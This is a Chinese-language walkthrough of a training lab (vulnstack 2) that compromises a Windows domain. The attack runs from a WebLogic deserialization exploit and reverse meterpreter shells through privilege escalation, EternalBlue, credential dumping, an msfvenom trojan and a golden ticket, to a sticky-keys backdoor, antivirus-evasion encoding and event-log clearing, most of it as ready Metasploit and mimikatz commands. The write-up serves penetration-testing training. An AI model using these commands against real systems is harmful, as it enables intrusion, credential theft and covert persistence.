第一次寫靶場實戰的文章,有不足之處還請多多指教。本次實戰的靶場是紅日安全vulnstack系列的第二個靶場。
靶場地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
環境搭建
網絡環境
網卡配置
只需要在VM上選擇對應網卡即可,不需要在靶機中進行配置。
DC
IP:10.10.10.10 (VMnet5)
OS:Windows 2012(x64)
WEB
IP1:192.168.111.80 (VMnet6)
IP2:10.10.10.80 (VMnet5)
OS:Windows 2008(x64)
PC
IP1:192.168.111.201 (VMnet6)
IP2:10.10.10.201 (VMnet5)
OS:Windows 7(x86)
開啟靶場
進入C:\Oracle\Middleware\user_projects\domains\base_domain目錄下,雙擊startWebLogic開啟服務。
外網滲透
我們已知當前Web服務器的公網IP為192.168.111.80,對Web服務器進行端口掃描,以期發現是否有可以利用的端口服務,從而突破邊界。
端口掃描
nmap -sV -Pn -T4 192.168.111.80
漏洞探測
通過端口掃描我們發現Web服務器開啟了80、7001等端口,其他端口如445、1433、3389等也可以使用一些RCE漏洞或弱口令直接進入Web服務器。這里我們先訪問Web服務,發現80端口頁面是空白的,在7001端口我們發現Web服務器開啟了Weblogic,嘗試使用WeblogicScan腳本探測漏洞:
python3 WeblogicScan.py -u 192.168.111.80 -p 7001
漏洞利用
通過腳本探測發現存在CVE-2019-2725,我們可以使用網上的exp,這里我們使用msf自帶的漏洞利用模塊:
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target Windows
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.111.80
set lhost 192.168.111.128
run
這里還需要在advanced選項中對payload進行簡單的編碼:
setg EnableStageEncoding true
setg StageEncoder x64/zutto_dekiru
成功返回meterpreter。
這里我們做編碼的目的是為了繞過360,網上也有一些其它免殺的方式,大家可以自行學習,這里使用的msf的自免殺,使用x64/zutto_dekiru編碼繞過。
權限提升
在我們成功返回shell后,發現我們當前是普通用戶權限,如果要完全控制這台機器,需要進一步提權。
切換目錄到C:\Users\de1ay下,使用meterpreter上傳Sherlock腳本:
cd C:/Users/de1ay
upload Sherlock.ps1
進入shell模式,使用Sherlock腳本探測可用於本地提權的漏洞:
powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1;Find-AllVulns}"
這里我們通過Sherlock腳本發現存在MS15-051相關漏洞,使用msf自帶的利用模塊提權:
use exploit/windows/local/ms15_051_client_copy_image
set payload windows/x64/meterpreter/reverse_tcp
set session 1
set target Windows x64
set lhost 192.168.111.128
run
提權成功:
至此,我們已經成功拿下了邊界服務器的控制權,可以進一步深入內網了。
內網滲透
在進入內網后,我們要明確自己的目標,由於該靶場沒有flag需要獲取,所以我們的目標就是拿下整個域的控制權,明確了目標后,我們就可以針對目標進行信息收集了。
信息收集
systeminfo
ipconfig /all
通過查詢主機信息和網絡信息,我們發現該服務器主機名為WEB,處於域環境,並且有兩張網卡,其內網網段為10.10.10.0/24,主DNS服務器IP為10.10.10.10,在域環境中,域控制器往往同時作為DNS服務器,由此判斷,我們要找的域控制器IP很可能就是10.10.10.10。
net user
net user /domain
net time /domain
通過查詢用戶信息,我們獲取了域成員信息,並可基本做出判斷域控制器的主機名為DC。
ping DC
通過對DC使用ping命令,我們發現其IP為10.10.10.10,由此我們最終做出判斷該域環境中的域控制器主機名為DC,內網ip地址為:10.10.10.10,並且我們目前控制的這台Web服務器可以訪問域控制器。
net group "Domain Admins" /domain
net group "domain computers" /domain
ping PC
這里我們通過ping PC發現PC機的ip為10.10.10.201,但是沒有返回數據,說明此處防火牆禁止了ICMP協議,在后面對PC機進行內網滲透時可以考慮其它協議。
至此,我們已經初步完成了內網信息收集:
該靶場為域環境:de1ay.com
該靶場存在三台主機:DC、PC、WEB
該靶場存在兩個網段:10.10.10.0/24,192.168.111.0/24
該靶場的域管理員為:Administrator
設置代理
在對內網進行了初步的信息收集后,我們要開始攻擊內網主機了,但是內網中的機器和我們的攻擊機並不處於同一網絡當中,所以要通過Web服務器建立代理,這里有很多內網穿透工具可以使用,如ew、frp、chisel等,我這里直接使用msf建立路由,並開啟socks代理。
建立路由:
route add 10.10.10.0 255.255.255.0 1
開啟socks代理:
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 9050
set version 4a
run
配置代理工具proxychains4:
vim /etc/proxychains4.conf
這樣,我們就可以使用msf以及設置了代理的其它工具攻擊內網中的主機了。
在信息收集時,我們使用了ping命令簡單探測了一下內網連通性,發現PC機無法ping通,這可能是防火牆阻止了ICMP協議,這里我們通過代理使用nc命令探測,發現可以連通,說明防火牆並沒有阻止TCP協議的流量。
proxychains4 nc -zv 10.10.10.80 135
proxychains4 nc -zv 10.10.10.201 135
發現防火牆並沒有攔截TCP流量后,我們就可以使用TCP協議進行數據傳輸了。
橫向移動
先掃一下端口。
發現兩台機器都開起了445端口,探測以下是否存在永恆之藍漏洞:
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.10
run
發現兩台主機都存在該漏洞,嘗試使用msf內置的漏洞利用模塊:
use exploit/windows/smb/ms17_010_psexec
set rhosts 10.10.10.10
set payload windows/x64/meterpreter/bind_tcp
set lport 443
run
域控制器執行成功,域內成員機PC執行失敗:
至此,我們已成功獲得域控制器權限。
域內成員機PC我們沒有通過永恆之藍漏洞拿下來,這里采用其它方法,首先我們在之前的Web服務器上加載kiwi,提取服務器上儲存的密碼:
sessions 2
load kiwi
creds_all
我們成功提取到了兩個賬號的明文密碼,但是這里沒有域管理員的賬號密碼。
這里我們使用smart_hashdump模塊提取域控中的哈希:
use post/windows/gather/smart_hashdump
set session 3
run
成功提取到了域內成員的hash值,並且我們發現域管理員的hash和其它域成員的hash相同,這說明域管理員使用了和域成員相同的密碼(該靶場存在密碼復用,如果密碼不相同,我們可以通過哈希傳遞進行橫向移動),這樣我們可以就獲得了域管理員的賬號密碼。
我們先使用msf生成一個木馬:
msfvenom -p windows/meterpreter/bind_tcp lport=443 -f vbs -e x86/shikata_ga_nai -o /tmp/msf.vbs
然后,將該木馬上傳到已經被我們控制的web服務器上:
upload /tmp/msf.vbs
進入shell,與PC主機建立IPC$連接:
net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator@de1ay.com
將上傳的木馬復制到PC機C盤目錄下:
copy msf.vbs \\10.10.10.201\c$
通過端口掃描我們發現PC開啟了3389端口:
在msf上開啟監聽:
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set stageencoder x86/shikata_ga_nai
set rhosts 10.10.10.201
set lport 443
run
連接PC機的遠程桌面,使用域管理員賬號登錄PC,上線msf:
proxychains4 rdesktop 10.10.10.201:3389
到此,我們已經控制了域內全部主機。
權限維持
在獲取了域內全部主機權限后,我們進一步來做權限維持,權限維持的方法很多,這里我們演示兩種方式,使用黃金票據來實現域控制器的權限維持,使用粘滯鍵后門實現PC機的權限維持。
域控制器權限維持
在之前的信息收集過程中,我們已經成功獲取到了krbtgt的hash值:
因為PC機的session沒有進行提權,並且是域成員賬號,可以幫助我們獲取域的SID,所以我們切換到PC機的session,獲取域SID:
whoami /user
上傳mimikatz到PC機,進入PC的shell模式,發現當前用戶為普通域成員,無法訪問域控制器目錄。
使用mimikatz生成黃金票據並注入內存:
mimikatz# kerberos::purge
mimikatz# kerberos::golden /admin:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:administrator.kiribi
mimikatz# kerberos::ptt administrator.kiribi
成功注入內存,我們嘗試訪問域控制器C盤:
dir \\DC\C$
發現在將票據注入內存后,可以成功訪問域控制器目錄,說明黃金票據有效。還有其它域控制器權限維持的方式,這里不進行具體演示了。
粘滯鍵后門
在PC機上使用粘滯鍵后門前,需要先進行提權。這里同樣上傳Sherlock腳本進行探測利用:
提權成功。
使用msf中的后滲透模塊添加粘滯鍵后門:
use post/windows/manage/sticky_keys
set session 8
run
痕跡清除
刪除之前上傳的mimikatz和Sherlock腳本。
run event_manager -c
結語
關於免殺,我使用的全部是msf的編碼自免殺,64位使用的是x64/zutto_dekiru,32位使用的是x86/shikata_ga_nai,360都沒有攔截。雖然靶機中有360,但是我直接上傳的mimikatz也沒有被殺,所以我有些懷疑是360的版本比較低,除了web服務器上傳的第一個payload,其它都進行了編碼處理,而第一個也確實沒有執行成功,這說明360至少對第一個payload是攔截了的。
本次靶場練習到這里就全部結束了,在權限維持和免殺等方面仍然有很多需要學習的地方,這個靶場總體上比較簡單,在橫向移動和權限維持等方面還有很多方法可以嘗試,由於本人深度沉迷msf,所以這篇文章中的整個滲透過程都是基於msf進行的,大家也可以多多嘗試其它工具和方法,比如CS、Empire等等。